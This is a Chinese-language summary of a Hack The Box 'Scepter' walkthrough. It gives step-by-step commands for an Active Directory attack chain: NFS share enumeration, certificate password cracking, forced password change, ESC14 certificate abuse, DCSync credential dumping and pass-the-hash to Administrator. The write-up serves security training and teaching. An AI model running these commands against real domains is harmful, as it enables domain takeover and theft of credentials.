HTB Scepter:从NFS共享到DCSync的Active Directory证书攻击链

本文详细分析了HTB Scepter靶机的渗透过程,涉及NFS共享枚举、证书密码破解、ESC14漏洞利用、AD CS攻击以及最终的DCSync权限提升,完整展示了Windows域环境中的证书认证攻击链。

HTB: Scepter

侦察

Nmap扫描

Nmap扫描发现25个开放TCP端口,包括标准域控制器端口(53、88、135、139、389、445等)以及NFS(2049)和WinRM(5985/5986)。域名确定为scepter.htb,主机名为DC01

1
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.65

NFS枚举

使用showmount枚举NFS共享,发现/helpdesk卷对所有人开放:

1
2
3
oxdf@hacky$ showmount -e dc01.scepter.htb
Export list for dc01.scepter.htb:
/helpdesk (everyone)

挂载共享后,发现四个用户的证书文件:

  • baker.crtbaker.key
  • clark.pfx
  • lewis.pfx
  • scott.pfx

认证为d.baker

破解密码

使用pfx2johnpem2john提取哈希,John the Ripper破解所有PFX和PEM文件的密码均为newpassword

1
oxdf@hacky$ john pfx.hashes --wordlist=rockyou.txt

用户认证

使用Certipy通过baker.pfx成功认证为d.baker,获取TGT和NTLM哈希:

1
oxdf@hacky$ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65

认证为a.carter

Bloodhound分析

收集Bloodhound数据,发现d.bakera.carterForceChangePassword权限:

1
oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H <hash> --bloodhound

密码修改

使用NetExec修改a.carter的密码:

1
oxdf@hacky$ netexec smb scepter.htb -u d.baker -H <hash> -M change-password -o USER=a.carter NEWPASS=Welcome1

获取h.brown的Shell

AD CS枚举

使用Certipy发现StaffAccessCertificate模板,存在ESC9漏洞(但需其他条件):

1
oxdf@hacky$ certipy find -vulnerable -u d.baker -hashes :<hash> -dc-ip 10.10.11.65

ESC14利用

发现h.brownaltSecurityIdentities属性设置为X509:<RFC822>h.brown@scepter.htb。通过修改d.baker的邮件地址匹配该值,申请证书后认证为h.brown

1
2
oxdf@hacky$ certipy req -username d.baker@scepter.htb -hashes :<hash> -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate
oxdf@hacky$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username h.brown

WinRM访问

使用Kerberos票证通过Evil-WinRM连接:

1
oxdf@hacky$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb

认证为p.adams

枚举与权限

发现h.brownp.adams有写权限,设置altSecurityIdentities属性后重复ESC14攻击:

1
oxdf@hacky$ bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb'

认证与DCSync

申请证书后认证为p.adams,利用Replication Operators权限执行DCSync获取域哈希:

1
oxdf@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :<hash> -no-pass

获取Administrator访问

使用Administrator的NTLM哈希通过Evil-WinRM连接:

1
oxdf@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H <hash>

附加分析

禁用账户

发现其他证书认证失败是因为相应用户账户被禁用,非证书本身问题。

ESC9限制

StaffAccessCertificate模板因配置问题无法直接利用ESC9,需调整证书名称标志设置。


通过系统性的证书枚举、密码破解、权限提升和漏洞利用,最终实现域完全控制。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计